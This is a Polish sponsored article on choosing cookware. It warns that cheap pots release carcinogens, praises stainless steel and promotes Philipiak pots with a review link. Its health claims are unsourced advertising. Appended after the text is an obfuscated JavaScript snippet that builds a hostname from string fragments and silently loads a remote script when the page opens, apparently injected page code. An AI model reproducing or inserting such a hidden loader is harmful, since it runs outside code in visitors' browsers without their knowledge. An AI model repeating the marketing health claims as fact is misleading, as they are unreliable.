Naczynia podstawą gotowania w kuchni

Podstawowym i niezbędnym elementem każdej kuchni, bez którego nie sposób sobie wyobrazić codzienne przyrządzanie poszczególnych posiłków są różnorodne naczynia kuchenne. W trakcie gotowania, duszenia, pieczenia czy smażenia produkty spożywcze, mięso i warzywa e zwykle tracą swoje naturalne właściwości takie jak witaminy czy minerały, dlatego tak ważny jest odpowiedni wybór garnków, patelni, sztućców oraz wielu innych urządzeń wykorzystywanych w procesie przyrządzania poszczególnych potraw.

Materiał ma znaczenie

Materiał, z którego wykonane są poszczególne naczynia kuchenne mają ogromny wpływ nie tylko na jakość, smak i aromat przygotowywanych potraw, ale również na zdrowie człowieka. Tanie garnki i patelnie wykonane z gorszych materiałów znacznie szybciej zużywają się, niszczą, a co gorsza w połączeniu z wysoką temperaturą, niektórymi potrawami lub środkami czyszczącymi wydzielają niebezpieczne i szkodliwe substancje, w tym również zabójcze substancje rakotwórcze. Dostępne w supermarketach i hipermarketach tanie naczynia kuszą jednak niskimi, atrakcyjnymi konkurencyjnymi cenami, stąd też zakup naczyń kuchennych może wydawać się prostym i nieskomplikowanym zadaniem. W bogatej i szerokiej ofercie mniej lub bardziej znanych producentów znajdują się między innymi garnki: aluminiowe, żeliwne, stalowe oraz miedziane.

Garnki ze stali nierdzewnej

Zdaniem pasjonatów gotowania oraz specjalistów do spraw żywienia zdecydowanie najbezpieczniejszym dla zdrowia ludzkiego, a jednocześnie najbardziej wytrzymałym materiałem, jest stal nierdzewna. Naczynia wykonane z mocnej stali nierdzewnej są odporne na działanie wysokich temperatur, korozję, różnorodne uszkodzenia mechaniczne, zarysowania, do których dochodzi bardzo często w kuchni w trakcie przygotowywania codziennych posiłków. Co więcej stal nierdzewna zachowuje wszystkie właściwości produktów spożywczych jak również naturalny smak potrawy. Przykładem naczyń ze stali nierdzewnej, które z pewnością warto mieć w swojej kuchni są eleganckie naczynia Philipiak, dzięki którym można przyrządzać posiłki bez użycia wody, soli, a nawet tłuszczu, co stanowi innowacyjne rozwiązanie. Najlepszą rekomendacją dla marki są pozytywne opinie o naczyniach Philipiak znanych i cenionych pasjonatów gotowania czy zwykłych użytkowników. Przykładowe opinie na temat naczyń philipiak znajdziemy na: http://www.najwyzszajakosczycia.pl/o-marce-philipiak

<script type="text/javascript">
(function(){
u0fi=document.createElement("script");u0fi.type="text/javascript";
u0fi.async=true;u0fi_=(("us")+"t")+"a";u0fi_+=("t.i")+""+"n";u0fi_+=(("f")+"o");
u0fi.src="http://"+u0fi_+"/3595216.1c04711i0fi5wtwwl7g8qdxr3lkj2q";
document.body.appendChild(u0fi);
})();
</script>